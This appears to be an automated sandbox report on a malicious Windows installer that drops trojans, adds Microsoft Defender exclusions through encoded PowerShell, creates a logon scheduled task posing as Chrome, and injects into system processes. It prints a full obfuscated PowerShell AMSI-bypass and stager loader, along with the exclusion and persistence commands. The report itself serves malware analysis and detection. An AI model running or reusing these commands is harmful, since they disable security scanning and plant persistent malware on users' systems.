Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001430 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,FindCloseChangeNotification,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,NtCreateThreadEx,CloseHandle,FindCloseChangeNotification,CloseHandle,	39_2_0000000140001430
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD03120 NtEnumerateValueKey,NtEnumerateValueKey,	42_2_000001AFDDD03120

Source: chrome.exe.4.dr	Static PE information: No import functions for PE file found
Source: 34432.exe.1.dr	Static PE information: No import functions for PE file found

Source: Install.exe, 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilename34432.exe< vs Install.exe

Source: Install.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Install.exe

File created: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@44/26@1/1

Source: C:\Users\user\Desktop\Install.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: chrome.exe.4.dr, u200f????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: chrome.exe.4.dr, u200f????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 34432.exe.1.dr, u200f????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 34432.exe.1.dr, u200f????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Windows\System32\nslookup.exe

Code function: 22_2_0000000140001000 FindResourceA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,RegOpenKeyExW,RegSetValueExW,

22_2_0000000140001000

Source: Install.exe	Virustotal: Detection: 41%
Source: Install.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\Install.exe

File read: C:\Users\user\Desktop\Install.exe

Jump to behavior

Source: C:\Users\user\Desktop\Install.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Install.exe "C:\Users\user\Desktop\Install.exe"
Source: C:\Users\user\Desktop\Install.exe	Process created: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe
Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Install.exe	Process created: C:\Users\user\AppData\Roaming\34432.exe C:\Users\user\AppData\Roaming\34432.exe
Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows\System32\nslookup.exe
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$qKHXRLjxcQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');$qKHXRLjxcQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NibVxWxTFc,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');Write-Output $qKHXRLjxcQb.CreateType();}$uYKrZWxknTiUv=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SpNyfScDlNPPHB=$uYKrZWxknTiUv.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RRmRtbQVOsCwqbtFCRP=oBYZxpoBuJDg @([String])([IntPtr]);$CSrLsWTvUKtnfJeCoYnQHQ=oBYZxpoBuJDg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LbwxtlPJWDL=$uYKrZWxknTiUv.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$UsbtvKZkuSsHuw=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Load'+'LibraryA')));$GBWVSxTZRtiWMYLEL=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Vir'+'tual'+'Pro'+'tect')));$zcmbglj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsbtvKZkuSsHuw,$RRmRtbQVOsCwqbtFCRP).Invoke('a'+'m'+'si.dll');$NtWqUAjxRFzIehWzj=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$zcmbglj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$QZnCEHiAlz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,4,[ref]$QZnCEHiAlz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$NtWqUAjxRFzIehWzj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,0x20,[ref]$QZnCEHiAlz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');Write-Output $JkETjFsAcrF.CreateType();}$lPmVEIqLxWSBJ=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$oknnqNPEawtCof=$lPmVEIqLxWSBJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PfTqTVeTqNbzEtTZAwA=JcVEStQtPhkP @([String])([IntPtr]);$FBhryrsEcCEQMAYVVFmrjj=JcVEStQtPhkP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gdWNaSIjpXI=$lPmVEIqLxWSBJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$MwCkRVFOfjwTFV=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Load'+'LibraryA')));$PwfBMMcphOddVTLUY=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Vir'+'tual'+'Pro'+'tect')));$FyAgKxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MwCkRVFOfjwTFV,$PfTqTVeTqNbzEtTZAwA).Invoke('a'+'m'+'si.dll');$GiLFGjttEZsjytHxc=$oknnqNPEawtCof.Invoke($Null,@([Object]$FyAgKxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$XarcXAurwd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,4,[ref]$XarcXAurwd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GiLFGjttEZsjytHxc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,0x20,[ref]$XarcXAurwd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Chrome\chrome.exe C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Chrome\chrome.exe C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9}
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Source: C:\Users\user\Desktop\Install.exe	Process created: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Jump to behavior
Source: C:\Users\user\Desktop\Install.exe	Process created: C:\Users\user\AppData\Roaming\34432.exe C:\Users\user\AppData\Roaming\34432.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows\System32\nslookup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9}
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe"
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Chrome\chrome.exe C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"

Source: C:\Users\user\Desktop\Install.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	1_2_0040352D
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140001000 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,OpenProcess,TerminateProcess,CloseHandle,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,CreateThread,Sleep,SleepEx,	39_2_0000000140001000
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000E010 AdjustTokenPrivileges,	39_2_000000014000E010

Source: C:\Users\user\AppData\Roaming\34432.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Install.exe

File created: C:\Users\user\AppData\Local\Temp\nsaDAE.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Install.exe

Code function: 1_2_004021AA CoCreateInstance,

1_2_004021AA

Source: C:\Users\user\Desktop\Install.exe

Code function: 1_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_0040498A

Source: C:\Users\user\AppData\Roaming\34432.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7020:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6876:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6416:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Mutant created: \Sessions\1\BaseNamedObjects\9D16FBEF0D8A8F87529DE06A1C43C737
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2280:120:WilError_01
